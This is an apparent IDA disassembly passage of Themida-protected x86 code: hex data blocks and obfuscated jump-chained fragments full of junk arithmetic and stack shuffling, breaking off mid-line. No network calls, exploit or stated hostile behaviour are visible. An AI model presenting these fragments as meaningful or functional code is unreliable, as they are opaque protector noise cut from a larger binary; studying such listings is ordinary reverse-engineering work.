5E042474h, 5C24048Fh, 50243C89h, 468h, 24048B00h, 4C481h dd 0E9500000h, 0FFFFC065h, 272A4D68h, 0E789E903h, 685DFFFFh dd 0B8Eh, 0FF243489h, 34FF2434h, 0E95F24h, 89FFFF74h, 0BA522404h dd 45D17053h, 45B2CA81h, 0BF573E5Fh, 50383688h, 47DFF747h dd 3544E9h, 240C8900h, 0C181E189h, 4, 0FF7312E9h, 15B951FFh dd 0B85BB67Ch, 69BDDA84h, 559C829h, 6DFE0532h, 2958C501h dd 242C8BEFh, 4C481h, 834F0000h, 0F79701EFh, 515097D0h dd 0E45400B9h, 59C88970h, 8158C731h, 0B35354CFh, 0E25DE942h dd 0E981FFFFh, 0BCFBD245h, 4EDEE9h, 397D2D00h, 0EB815E47h dd 546A558Fh, 0C381C329h, 546A558Fh, 0FF6BC4E9h, 66EC08FFh dd 7E4C059h, 2EC81h, 53E90000h, 0F7FFFFDBh, 0F5EA81DAh dd 5339DFECh, 0A5E95B54h, 8FFFFF9Dh, 248B2404h, 24042924h dd 377EE99Ch, 0E789FFFFh, 4C781h, 39680000h, 8900004Dh dd 4BA2414h, 29000000h, 3C335AD7h, 243C3124h, 0E9243C33h dd 0FFFF7177h, 0FED0B353h, 31F380CBh, 0FFB1A8E9h, 4EA81FFh dd 87000000h, 895C2414h, 4682414h, 0FF000000h, 835A2434h dd 590504C4h, 29601264h, 64592DD0h, 148B6012h, 0E875E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F51A: ; CODE XREF: Themida_:005622B4j mov ebp, 3A0071E4h add eax, 0A2E7279h sub eax, ebp jmp loc_56001E ; --------------------------------------------------------------------------- loc_55F52B: ; CODE XREF: Themida_:0055B7EDj pop ecx mov edi, edx pop edx add edi, 0F901A07Bh xor eax, edi pop edi mov ebx, eax jmp loc_5638C1 ; --------------------------------------------------------------------------- db 56h dd 7CAC6853h, 4B5B4677h, 1D40E381h, 0D3F76E43h, 41C9E381h dd 0EB8102DBh, 0CA6D2489h, 0FFA257E9h, 2434FFFFh, 5724148Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 0E9505C24h, 1FBFh dd 815DEA01h, 4ECh, 242C8900h, 520FB951h, 0CD8956B0h, 0FFFE05E9h dd 20478FFFh, 7B204781h, 0FF216C19h, 0E95A2434h, 3173h dd 242C895Ch, 39B168h, 2799E900h, 0EA810000h, 2FF3502Dh dd 0BF57F229h, 2FF3502Dh, 5E5FFA01h, 11FFC281h, 0FA0128A5h dd 11FFB951h, 0CA2928A5h, 2EB9E959h, 0B9510000h, 1B0E47C1h dd 0B841C181h, 0CF01E4F1h, 2A3EE9h, 0EBBA5200h, 5768913Dh dd 0FFE008E9h, 0E4BF57FFh, 81184656h, 637561CFh, 0FFC78115h dd 8154DF7Ch, 53BFB4EFh, 8BFB8928h, 0C483243Ch, 6EBC104h dd 8108EBC1h, 4ECh, 240C8900h, 6B226855h, 4890000h, 51A3B824h dd 2B0D15B2h, 0E92A4A0Bh, 26C5h, 8124048Bh, 4C4h, 58E95600h dd 81FFFFB6h, 4C1h, 89DFE900h, 0CB010000h, 7D36EB81h, 0A3E97391h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F66F: ; CODE XREF: Themida_:0055ED87j sub ebp, 1B373315h sub ebp, ebx add ebp, 1B373315h pop ebx shl ebp, 8 shr ebp, 7 jmp loc_55517C ; --------------------------------------------------------------------------- db 0ADh, 53h, 0BBh dd 2CF33DBFh, 748BC381h, 0B8500A54h, 78347BF0h, 0E958C309h dd 25A9h, 148BD101h, 4C48124h, 51000000h, 42474FFh, 24048F59h dd 8F24248Bh, 0CBE92404h, 66FFFFD8h, 83240C8Bh, 2C8904ECh dd 81E58924h, 4C5h, 0E3895300h, 0FF546EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6DD: ; CODE XREF: Themida_:0055959Aj add esi, 8EBCAF44h add ebx, esi pop esi push 6674h mov [esp], ecx mov ecx, 4 sub ebx, 2503049Ah add ebx, ecx jmp loc_555D2F ; --------------------------------------------------------------------------- dd 0A1B35352h, 0FF7B6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F709: ; CODE XREF: Themida_:00559FA0j sub edx, ebx pop ebx sub edx, 1EA06B9h and edx, 1EC740FBh not edx xor edx, 0ED39BF62h jmp loc_5618AB ; --------------------------------------------------------------------------- loc_55F725: ; CODE XREF: Themida_:00554812j xchg esi, [esp] mov esp, [esp] add al, ch mov cx, [esp] push ebx push esp jmp loc_55ED61 ; --------------------------------------------------------------------------- aTs1 db 'Té1[',0 align 2 loc_55F73E: ; CODE XREF: Themida_:005591AEj sub esi, 2C5D6F3Fh mov edx, [esp] add esp, 4 jmp loc_567FF2 ; --------------------------------------------------------------------------- dw 0C681h dd 3BF62E6Eh, 0DA31E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F75E: ; CODE XREF: Themida_:0055B751j pop ebp add esp, 4 push 501Ah mov [esp], ecx push esp mov ecx, [esp] add esp, 4 push ebx push ebp mov ebp, 47A51131h mov ebx, ebp pop ebp inc ebx jmp loc_56569D ; --------------------------------------------------------------------------- aTyhg db 'TYhƒ<',0 align 2 dw 1C89h dd 4685724h, 5F000000h, 15FFB89h, 0EC815BD9h, 4, 51241489h dd 87369CB9h, 0C1F1816Ah, 506A3068h, 0E38EE951h, 79E9FFFFh dd 81FFFF34h, 0FBAFB0E9h, 0E9CD8946h, 0FFFF6AC9h ; --------------------------------------------------------------------------- loc_55F7CC: ; CODE XREF: Themida_:00566C54j mov ebx, 1C053D1Ch push eax push edi mov edi, 5A4A51C1h mov eax, 56473D6Fh jmp loc_56312E ; --------------------------------------------------------------------------- loc_55F7E2: ; CODE XREF: Themida_:005643FEj add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push ebx push dword ptr [esp+4] pop ebx jmp loc_55AD37 ; --------------------------------------------------------------------------- aLS db '‹<$é±}',0 db 0 ; --------------------------------------------------------------------------- loc_55F805: ; CODE XREF: Themida_:005668DBj mov esi, 384D344Dh jmp loc_55CF0A ; --------------------------------------------------------------------------- db 31h dd 693EE9DAh, 0E581FFFFh, 4F0D3096h, 977FED81h, 0EB01139Eh dd 53B9515Dh, 12C2643h, 0D30159CBh, 4353EB81h, 0BE562C26h dd 0D1B0822h, 0EEC1DEF7h, 9109E902h, 0C8BFFFFh, 4C48324h dd 9F7BD55h, 0C5814633h, 13E3BDBh, 0FFC8A3E9h, 7DE950FFh dd 80FFFFFCh, 910454EBh, 0D8281E04h, 0BE95366h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F873: ; CODE XREF: Themida_:00554330j mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ecx jmp loc_560D2A ; --------------------------------------------------------------------------- loc_55F882: ; CODE XREF: Themida_:005595D2j add ebx, edi jmp loc_564065 ; --------------------------------------------------------------------------- loc_55F889: ; CODE XREF: Themida_:005539B0j sub esp, 4 jmp loc_561699 ; --------------------------------------------------------------------------- db 81h, 0CFh, 0F9h dd 4F7CFE56h, 643CF781h, 0C781195Ch, 11503625h, 0F4B5EF81h dd 0FE012C1Fh, 0BC91E95Fh, 0EF80FFFFh, 5BB3535Ah, 1C8BDA28h dd 4C48324h, 0C280FA00h, 912C5B5Bh, 9104D028h, 0FFA07FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F8D1: ; CODE XREF: Themida_:00566714j pop ebp xor esi, 70ED7F73h sub esp, 4 mov [esp], edx push ecx mov ecx, 5D4E2B1Ah push edx mov edx, 6C310785h and ecx, edx pop edx and ecx, 5CF31734h not ecx push esi push ebp jmp loc_553147 ; --------------------------------------------------------------------------- dd 243C8B54h, 4C481h, 0C7810000h, 4, 4BE56h, 0F7010000h dd 4E6BE95Eh, 34FF0000h, 0EC815824h, 4, 0FF9E46E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F929: ; CODE XREF: Themida_:00558EB7j pop ecx add edi, 0AF87BB69h push ebp jmp loc_55CF67 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5D0424h, 685C2404h, 73Dh, 0BA241489h, 2, 335AD701h dd 3C31243Ch, 572DE924h, 68560000h, 4B3543A9h, 8324348Bh dd 0EC8304C4h, 24148904h, 5A5FABBAh, 0FBEA8163h, 94DDD5Bh dd 74E95AD6h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F97F: ; CODE XREF: Themida_:00555210j xor ecx, 7CEC5D03h push esi mov esi, 44D8556Dh neg esi sub esi, 0B02E53DFh xor ecx, esi mov esi, [esp] add esp, 4 add ecx, 0EC68C87Dh push 6E37h mov [esp], ecx push dword ptr [esp] jmp loc_566AC9 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0F3AAF381h, 0C181B037h, 5AC3701Eh, 77E981h, 0D901398Bh dd 0FFF7A7E9h, 7E1C0FFh, 0E9C3B753h, 0FFFF893Bh, 50243489h dd 0EF593DB8h, 24A02D12h, 0C6899469h, 5EEE8158h, 0E93A7236h dd 0FFFF3C53h, 68240C89h, 3CD21B92h, 0E8E94959h, 5F000067h dd 4875E9h, 2474FF00h, 240C8B04h, 4C481h, 48F0000h, 2434FF24h dd 3E87E9h, 1558BE00h, 0F1291BDBh, 0FF4222E9h, 5B93B9FFh dd 0CA0108A2h, 0D5ED8159h, 0E972903Fh, 0FFFF782Ch, 66D9885Ah dd 83241C8Bh, 0C80002C4h, 240C8B66h, 2C481h, 0E9530000h dd 7397h, 0BE56D829h, 0BAF761Fh, 0E9DEF746h, 0FFFFD4E8h dd 7E0AE952h, 6857FFFFh, 68894D05h, 4B7BE95Fh, 34FF0000h dd 0C4815F24h, 4, 4EC81h, 1C890000h, 81E38924h, 4C3h, 4C38100h dd 87000000h, 248B241Ch, 242C8724h, 0FF24248Bh, 86E92434h dd 56000002h, 0FFDFF5E9h, 0F88850FFh, 5B58C688h, 0FBE95166h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FAC7: ; CODE XREF: Themida_:00557035j mov ecx, 4F5C1A27h add ecx, 0DA741DEh shl ecx, 1 push edx mov edx, 245D5E2Eh sub edx, 1 sub edx, 824285DAh xor ecx, edx pop edx add ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_56371B ; --------------------------------------------------------------------------- loc_55FAF6: ; CODE XREF: Themida_:0055D086j shr ecx, 8 shl ecx, 8 add ecx, 5320DD2Bh xor edi, ecx pop ecx push 11D4h mov [esp], ebx push edi push ebx mov ebx, 4B1E4230h sub [esp+4], ebx pop ebx pop ebx jmp loc_55C098 ; --------------------------------------------------------------------------- db 56h dd 27A06855h, 815D4422h, 5ABCCEDh, 0E88950D7h, 8B58C689h dd 8957242Ch, 0C6B4E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB3E: ; CODE XREF: Themida_:00563BF4j pop esp retn ; --------------------------------------------------------------------------- dd 0FF30F3E9h, 513BB6FFh, 0F1801FB1h, 0C31BE9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB52: ; CODE XREF: Themida_:00554A6Dj push 4684h jmp loc_5558B9 ; --------------------------------------------------------------------------- dd 50E68852h, 0E588F488h, 3BE95A58h, 28000032h, 4A32CD8h dd 6763E999h, 0DD890000h, 5EFEE95Bh, 4330000h, 24043124h dd 8B240433h, 0E2E92424h, 0BF000059h, 2F062232h, 5206E7C1h dd 0B630AC68h, 0ECE95A01h, 2DFFFF7Ah, 54CB5822h, 83241C8Bh dd 0D00104C4h, 0AE385C05h, 62E9530Ah, 68FFFF35h, 7715h dd 0FF97D2E9h, 37C281FFh, 8170F64Ah, 0A41F11E2h, 4CBE5609h dd 17EE814h, 0ADE95EF2h, 81FFFFE8h, 4C7h, 7A76E900h, 0D6F6FFFFh dd 0F6F9C680h, 90E953D6h, 66000039h, 8124048Bh, 2C4h, 2F28000h dd 2EC81h, 89660000h, 1CF62414h, 148B6624h, 2C48124h, 66000000h dd 58C1E953h, 0C330000h, 240C3124h, 5C240C33h, 51242C89h dd 0E205E268h, 240C8B52h, 81E18951h, 4C1h, 4BA5200h, 1000000h dd 0C875AD1h, 512DE924h, 565D0000h, 0F4299BBEh, 5EF1213Fh dd 8218E9h, 22E95900h, 100007Fh, 81042444h, 5E042444h dd 580C816Bh, 7F01E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FC7A: ; CODE XREF: Themida_:00566B6Dj xor eax, [esp] jmp loc_564D0B ; --------------------------------------------------------------------------- dw 0E089h dd 7A5FBE56h, 0EEC1188Ah, 0E6814608h, 767115AAh, 26EE81h dd 0F0010010h, 42D5Eh, 4870000h, 24895C24h, 0D3C1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FCAE: ; CODE XREF: Themida_:00557BF8j pop ecx jmp loc_558E96 ; --------------------------------------------------------------------------- loc_55FCB4: ; CODE XREF: Themida_:00560C93j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add ebx, edx pop edx push eax jmp loc_56253D ; --------------------------------------------------------------------------- db 5Dh dd 0FF9B3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FCCD: ; CODE XREF: Themida_:005549BBj mov esi, eax pop eax mov ebp, [esp] add esp, 4 sub esi, 0FA7CC1ECh jmp loc_5666A0 ; --------------------------------------------------------------------------- dd 8F04C483h, 0E95C2404h, 0FFFFB68Fh, 57468h, 0EFDBE900h dd 0BEFFFFh, 1411126h, 0D3F75EF3h, 0C104EBC1h, 5FE908EBh dd 8100004Fh, 834F81EDh, 0E9E9898Fh, 0FFFF8204h, 88EDC680h dd 0B3E95AF1h, 0BFFFFF35h, 6AA11D1Bh, 0C7FAEF81h, 0FD31263Eh dd 0FF4FB6E9h, 236858FFh, 0E900000Fh, 19B4h, 4C781h, 3C870000h dd 24248B24h, 578568h, 241C8900h, 0C381E389h, 4, 8704EB83h dd 0E95C241Ch, 0FFFF8D6Eh, 4EC8156h, 0E9000000h, 0FFFFEDBBh ; --------------------------------------------------------------------------- loc_55FD78: ; CODE XREF: Themida_:0056678Ej push esi mov esi, 1DD251B2h add edi, esi pop esi pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5619D2 ; --------------------------------------------------------------------------- dd 24048B66h, 393FE9h, 87C58000h, 50E5E952h, 0BA52FFFFh dd 2, 8AE9D389h, 8B00002Fh, 82E9243Ch db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FDB7: ; CODE XREF: Themida_:005647BCj mov [esp], ebp push esp pop ebp push ebx jmp loc_55B7C3 ; --------------------------------------------------------------------------- aIX db '¸i',9,'X',0 db 9 dd 0CB8158C3h, 137016E0h, 4EC81h, 0D2E90000h, 81000045h dd 917D36C3h, 0F87CE973h, 0E951FFFFh, 0FFFF941Dh, 8159CA09h dd 0A746EDEAh, 0E9DAF713h, 472h, 88241489h, 0FFF188E6h dd 0B0E92434h, 81FFFF42h, 0A042444h, 163231Dh, 81042454h dd 0A04246Ch, 8163231Dh, 3104246Ch, 8118642Eh, 2D042444h dd 0E92B190Eh, 0FFFFA4C5h ; --------------------------------------------------------------------------- loc_55FE34: ; CODE XREF: Themida_:0056056Ej shr edi, 8 add edi, 0FFFF6ECBh push 1FEDh mov [esp], edi mov ebx, [esp] push eax jmp loc_562BDF ; --------------------------------------------------------------------------- aBLnjlsU db 'êLjlé+U',0 db 0 ; --------------------------------------------------------------------------- loc_55FE59: ; CODE XREF: Themida_:005538C4j pop dword ptr [esp] jmp loc_565F12 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0B1515Ch, 0E980D9F6h, 1E98067h, 8003E1C0h, 0B05086E1h dd 69B151DCh, 0FFE533E9h, 575258FFh, 6339A3BFh, 25C78135h dd 57D468E1h, 42242C81h, 5A677674h, 7442C281h, 515F6776h dd 530908B9h, 14F75112h, 0F1815924h, 58E201F7h, 6D64E181h dd 0E98157EDh, 61C80DE6h, 2FB4F181h, 25E9C7E3h, 8BFFFFFFh dd 0C481242Ch, 4, 0FFF68CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FED5: ; CODE XREF: Themida_:005544B7j not edx shl edx, 1 jmp loc_564E20 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 0E95AD689h, 0FFFFA5B2h, 513F68h, 620DE900h, 15D0000h dd 242C8BEFh, 537768h, 243C8900h, 0DDE9E789h, 81FFFF38h dd 437AD0EAh, 8E2C11Eh, 0F252BE56h, 0F2314427h, 8124348Bh dd 4C4h, 5AD60900h, 4891CE81h, 0DEE90EE4h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF33: ; CODE XREF: Themida_:005633F8j pop esi push dword ptr [esp] jmp loc_55E9F0 ; --------------------------------------------------------------------------- dd 8324048Bh, 0C3304C4h, 240C3124h, 2F64E9h, 24048F00h dd 14F6E9h, 718BB00h, 0DF296D01h, 2414E9h db 0 ; --------------------------------------------------------------------------- loc_55FF61: ; CODE XREF: Themida_:0055A487j sub eax, 4 xchg eax, [esp] pop esp mov [esp], esp jmp loc_55958F ; --------------------------------------------------------------------------- loc_55FF70: ; CODE XREF: Themida_:00560FEAj xchg ebx, [esp] mov esp, [esp] add eax, 4DD97B69h inc eax add eax, 0ABF7AE96h or ebx, eax pop eax sub ebx, 1 jmp loc_55AB11 ; --------------------------------------------------------------------------- dd 5008EAC1h, 1855F8B8h, 155C0D5Dh, 0D0F71376h, 65E5E9h dd 5FFD8900h, 5202E5C1h, 47C5BF57h, 50BA5702h, 31338E4Dh dd 98BDE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFBA: ; CODE XREF: Themida_:005670EBj add esp, 4 mov ebp, [esp] add esp, 4 neg ebx jmp loc_5663DB ; --------------------------------------------------------------------------- dw 0C783h dd 243C8704h, 3D01E9h db 0 ; --------------------------------------------------------------------------- loc_55FFD5: ; CODE XREF: Themida_:005648D4j dec esi sub esi, 1 inc esi jmp loc_56278A ; --------------------------------------------------------------------------- db 0B3h dd 0E9EBD0F3h, 0FFFF32C2h, 0E904C083h, 0FFFFB5DAh, 509468h dd 242C8900h, 0A65CC5BDh, 1C58135h, 0E9000000h, 0FFFF7ECCh dd 0EB7FBBBDh, 5DEF091Ch, 0BBB1C781h, 0FE2974ACh, 871AE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56001E: ; CODE XREF: Themida_:0055F526j sub eax, 0A2E7279h pop ebp add eax, esi add eax, 3A0071E4h jmp loc_558ED5 ; --------------------------------------------------------------------------- dd 81D9015Eh, 90696C1h, 0D7E5E952h, 3C8BFFFFh, 4C48124h dd 0E9000000h, 68B7h, 81665D66h, 590B0EC2h, 66565166h dd 6669F7BEh, 6A5CEE81h, 80EE8166h, 0DEF76603h, 0FF3889E9h dd 3263BBFFh, 0D3877C31h, 36E9D2F7h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56007B: ; CODE XREF: Themida_:0055463Dj mov esi, 8304858h inc esi sub esi, 0FCDAEDFFh add ecx, esi pop esi pop ebp sub ebp, ecx pop ecx sub ebp, 2B8F18B9h pop ecx add ebp, 2 xchg ebp, [esp] mov esp, [esp] mov ax, [esp] push 20C1h mov [esp], esi push esp pop esi jmp $+5 push eax push ecx mov ecx, 21F25ECBh push ecx xor dword ptr [esp], 1BE0577Dh pop eax xor eax, 1BE0577Dh pop ecx jmp loc_557613 ; --------------------------------------------------------------------------- loc_5600CF: ; CODE XREF: Themida_:0055AC73j not dword ptr [esp] pop edx jmp loc_560518 ; --------------------------------------------------------------------------- loc_5600D8: ; CODE XREF: Themida_:0055ABDCj add ebp, edx mov edx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi jmp loc_561210 ; --------------------------------------------------------------------------- db 29h dd 0E9555DE9h, 0FFFFE144h, 8EA3E94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560102: ; CODE XREF: Themida_:0055BB90j mov [esp], ecx mov ecx, 1 push ecx push eax jmp loc_556976 ; --------------------------------------------------------------------------- db 28h, 0D7h, 5Ah dd 0DF2CA52Ch, 0FFC7E9E9h, 485DBFFFh, 0C7812A6Ah, 0E424D0Dh dd 1008F781h, 0F74F467Dh, 80C781D7h, 89EB65BEh, 0E5D15FFDh dd 5C26F581h, 0E831BAC5h, 0E9242C8Bh, 0FFFF79CEh ; --------------------------------------------------------------------------- loc_56014C: ; CODE XREF: Themida_:005640A3j pop edi push ebx mov ebx, 4 sub esi, ebx pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], esi push edi mov edi, 1 mov esi, edi pop edi and eax, esi push dword ptr [esp] pop esi jmp loc_56580D ; --------------------------------------------------------------------------- loc_560179: ; CODE XREF: Themida_:0055B732j sub eax, 0FFFFFFFFh push esi jmp loc_565116 ; --------------------------------------------------------------------------- loc_560184: ; CODE XREF: Themida_:00565082j jmp loc_552C38 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E904C483h, 6ECh, 0FEFBB252h, 0D69FE9C2h, 2C8BFFFFh dd 4C48324h, 557CEA81h, 0E9512AF5h, 71D0h, 0E9FFE983h dd 0FFFFB3FCh, 24048F5Ch, 1489665Ch, 7D41E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5601C6: ; CODE XREF: Themida_:00552C66j pop dword ptr [esp] jmp loc_55DFF5 ; --------------------------------------------------------------------------- dw 555Fh dd 0FFA00FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5601D5: ; CODE XREF: Themida_:005609E2j sub esi, 4D5A1F94h add esi, 5D0235B2h mov ecx, esi pop esi sub ecx, 4B3D7331h and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jnz loc_5663B6 push 1 push dword ptr [esp] push dword ptr [esp] pop edx push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55983A ; --------------------------------------------------------------------------- loc_56021A: ; CODE XREF: Themida_:00557448j pop esp jmp loc_5654A9 ; --------------------------------------------------------------------------- dd 0BD555750h, 54C80697h, 120C581h, 0EF89B9CBh, 0FFBB99E9h dd 242C87FFh, 3124248Bh, 0A9E959CAh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560243: ; CODE XREF: Themida_:0055B37Aj mov esi, 719932D4h sub esi, ebp pop ebp jmp loc_553D53 ; --------------------------------------------------------------------------- dd 1D03B850h, 0E8C10B77h, 0D0E7E905h, 2C2DFFFFh, 51505874h dd 0C97344B9h, 0D2A6E978h, 0E94AFFFFh, 0FFFF3EDDh, 4C481h dd 9DBF0000h, 1EED3D8h, 2434FFC7h, 0E924048Bh, 58E6h ; --------------------------------------------------------------------------- loc_56028C: ; CODE XREF: Themida_:005542D5j pop esi jmp loc_553976 ; --------------------------------------------------------------------------- dw 0CB81h dd 18D17BDEh, 2403EB81h, 0C4E96ADAh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5602A3: ; CODE XREF: Themida_:00559091j mov ecx, 0 jmp loc_567A9A ; --------------------------------------------------------------------------- db 58h, 83h, 0C4h dd 25B5E904h, 43680000h, 89000070h, 4AB3241Ch, 1C16E9h db 0 ; --------------------------------------------------------------------------- loc_5602C5: ; CODE XREF: Themida_:0055B653j inc dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add ecx, 42247720h jmp loc_5614B4 ; --------------------------------------------------------------------------- loc_5602DA: ; CODE XREF: Themida_:00562A52j pop edi and eax, edi jmp loc_554117 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 43E90000h, 53000002h, 5A440DBBh, 0C1DBF752h dd 95E904E3h, 66FFFF74h, 6824048Bh, 414Ah, 0FF4BF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_56030D: ; CODE XREF: Themida_:0056180Dj push ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_55BDF1 ; --------------------------------------------------------------------------- loc_56031B: ; CODE XREF: Themida_:00565B50j pop eax jmp loc_5679C8 ; --------------------------------------------------------------------------- db 5Ah, 0C0h, 0ECh dd 0F1B35306h, 0E9C0F380h, 0B05h, 4EC81h, 0A6E90000h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56033B: ; CODE XREF: Themida_:00560B83j sub edi, 3A1A0DB2h mov esi, edi pop edi pop ebp push eax jmp loc_55C63D ; --------------------------------------------------------------------------- loc_56034B: ; CODE XREF: Themida_:005644D7j mov edi, eax jmp loc_555590 ; --------------------------------------------------------------------------- loc_560352: ; CODE XREF: Themida_:00567FA9j mov [esp], ebx push esp pop ebx jmp loc_55AC41 ; --------------------------------------------------------------------------- loc_56035C: ; CODE XREF: Themida_:005611FAj pop ebp sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push 5C36h mov [esp], edx push esi jmp loc_55D9E7 ; --------------------------------------------------------------------------- db '^hÏ',27h,0 dw 8900h dd 89E92434h, 0FFFFFF7Eh, 68582434h, 1917h, 68243C89h dd 0AB0h, 81242489h, 42404h, 34FF0000h, 89505F24h, 405E0h dd 0C0830000h, 657EE904h, 4BA0000h, 1000000h, 2434FFD3h dd 3C2DE9h db 0 ; --------------------------------------------------------------------------- loc_5603C1: ; CODE XREF: Themida_:00566581j shr ecx, 2 push ebx sub dword ptr [esp], 1D6E7E84h mov eax, [esp] add esp, 4 push 525Ch jmp loc_554335 ; --------------------------------------------------------------------------- db 50h dd 0C289F089h, 5AD38958h, 0C87535Eh, 65FDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5603F2: ; CODE XREF: Themida_:00562569j not edi push eax mov eax, 48872B7Dh dec eax shl eax, 6 sub eax, 43F9710Fh add edi, eax pop eax sub ecx, 262169F6h jmp loc_557BEA ; --------------------------------------------------------------------------- db 55h, 0E9h, 0A7h dd 80FFFF48h, 97E92BE5h, 0BA000062h, 310066F7h, 815AD729h dd 0B273E4EFh, 57C681F4h, 10EBA6Ch, 57EE81FEh, 5F0EBA6Ch dd 6A6AE9h, 0C6E95300h, 0FF000027h, 81582434h, 4C4h, 0CDC78100h dd 1335C4Ah, 9FE953F7h, 8BFFFFCCh, 0C481242Ch, 4, 89651A35h dd 9CA22D0Dh, 35E92954h, 0FFFFFF4Ch, 34FF2434h, 14B5E924h dd 0C8B0000h, 0E1895124h, 4BD55h, 0F4E90000h, 81000028h dd 0D0182FC5h, 0BEF5816Fh, 1B05E8Eh, 0BE565DEFh, 2, 348BF701h dd 4C48124h, 87000000h, 95E9243Ch, 68FFFF3Dh, 1C67h, 89240C89h dd 4C181E1h, 0E9000000h, 0FFFF3EB1h, 2A5D4EBFh, 5FFB2912h dd 3780F381h, 0DA018C0Ch, 1CE9515Bh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5604E7: ; CODE XREF: Themida_:005552B8j mov ebp, esp push 4A51h mov [esp], edx push 3C9B6A97h jmp loc_56694F ; --------------------------------------------------------------------------- db 8Bh dd 11E9242Ch, 1000022h, 4EC81EFh, 89000000h, 0C0B82404h dd 0E906455Ah, 16F5h ; --------------------------------------------------------------------------- loc_560518: ; CODE XREF: Themida_:005600D3j sub edx, 1BC73304h add edx, 0ABD1B76Eh add ebx, edx pop edx jmp loc_553B59 ; --------------------------------------------------------------------------- dd 0BE13E953h, 0C383FFFFh, 241C8704h, 3606E9h db 0 ; --------------------------------------------------------------------------- loc_56053D: ; CODE XREF: Themida_:005566BDj xor ebx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi jmp loc_560C0E ; --------------------------------------------------------------------------- aW db '¾w[',0Ah,0 db 31h dd 7D51E9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56055A: ; CODE XREF: Themida_:0055A9DFj pop ebp pop eax xor ebp, 4C6856B0h mov edi, ebp pop ebp xor edi, 14DB127Ch shr edi, 7 jmp loc_55FE34 ; --------------------------------------------------------------------------- db 0B8h dd 131F7C33h, 22321D0Dh, 0C1E0D140h, 0E8C107E8h, 0E8F50504h dd 8150C366h, 438D242Ch, 815F7241h, 41438DC7h, 0F8015872h dd 8BC5315Fh, 89532404h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 0E073E95Ch, 8F59FFFFh, 19E92404h, 0C1FFFF73h, 0E907E6h dd 0B9000002h, 345035E1h, 6225E9h, 4055800h, 0E9000000h dd 79CEh, 0ECE9D831h, 87FFFFC6h, 535C241Ch, 0FFFCF1E9h dd 0EFC15FFFh, 6DFF6802h, 1C890000h, 2E56E924h, 0D1BF0000h dd 0E9135656h, 0FFFFBFEFh, 0BEF6E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560612: ; CODE XREF: Themida_:005564C5j pop ebx sub dl, 0FFh sub dl, 0BAh jmp loc_55532C ; --------------------------------------------------------------------------- loc_56061E: ; CODE XREF: Themida_:00555E58j mov ecx, [esp] add esp, 4 not bl add bl, 0A4h jmp loc_5553EB ; --------------------------------------------------------------------------- dw 0ED81h dd 4A2038A9h, 8324348Bh, 0D9E904C4h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56063F: ; CODE XREF: Themida_:0055E18Dj add ecx, 84A493FCh jmp loc_564628 ; --------------------------------------------------------------------------- dw 55Ah dd 408B1FF5h, 2BD555Fh, 0E9000000h, 10A9h ; --------------------------------------------------------------------------- loc_56065C: ; CODE XREF: Themida_:0055B09Bj pop eax shr ecx, 1 or ecx, 7A76BADh add ecx, 41880C93h shr ecx, 2 add ecx, 30E431D7h mov edx, ecx mov ecx, [esp] add esp, 4 jmp loc_55B297 ; --------------------------------------------------------------------------- aXs db 9,'ÂXéÚ',0Bh,0 dd 54DABD00h, 0E9291E79h, 0FF7979E9h, 24248BFFh, 2896664h dd 0FF2597E9h, 0D830ACFFh, 8904EC83h, 